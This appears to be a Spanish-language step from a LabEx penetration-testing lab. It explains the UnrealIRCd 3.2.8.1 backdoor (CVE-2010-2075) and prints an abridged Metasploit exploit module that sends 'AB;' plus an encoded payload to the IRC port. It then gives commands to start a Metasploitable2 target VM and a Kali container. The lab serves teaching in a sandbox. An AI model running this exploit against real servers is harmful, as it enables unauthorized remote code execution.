Comprender la vulnerabilidad de Unreal IRCd y iniciar el entorno de experimentación
La versión 3.2.8.1 de Unreal IRCd contiene una vulnerabilidad de backdoor (CVE-2010-2075) que permite a los atacantes remotos ejecutar código arbitrario en el sistema afectado. La vulnerabilidad se encuentra en la macro DEBUG3_DOLOG_SYSTEM
, que incluye código malicioso externo que un atacante puede aprovechar.
Información relevante:
El módulo de Metasploit para explotar esta vulnerabilidad:
A continuación, se presenta una breve descripción del módulo de Metasploit:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
#... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Ahora, iniciarás la máquina de ataque (contenedor de Kali Linux) y la máquina objetivo (máquina virtual Metasploitable2) para el experimento.
- Abre una terminal xfce en la máquina host de LabEx e inicia la máquina objetivo Metasploitable2 ejecutando el siguiente comando:
sudo virsh start Metasploitable2
Espera a que la máquina objetivo se inicie, puede tardar de 1 a 3 minutos.
- Prueba la conectividad a la máquina objetivo mediante un ping:
ping 192.168.122.102
Presiona Ctrl+C
para detener el ping.
- Inicia el contenedor de Kali Linux y entra al entorno bash ejecutando:
docker run -ti --network host b5b709a49cd5 bash
- Dentro del contenedor de Kali, prueba la conexión de red a la máquina objetivo:
ping 192.168.122.102
Presiona Ctrl+C
para detener el ping.
Ahora, tanto la máquina de ataque como la máquina objetivo están en funcionamiento, y puedes comenzar la prueba de penetración.
Nota: Si sales accidentalmente del bash actual, el contenedor de Kali se detendrá automáticamente. Puedes ejecutar docker run -ti --network host b5b709a49cd5 bash
nuevamente en el host para iniciar un nuevo contenedor de Kali y entrar en bash para continuar con el experimento.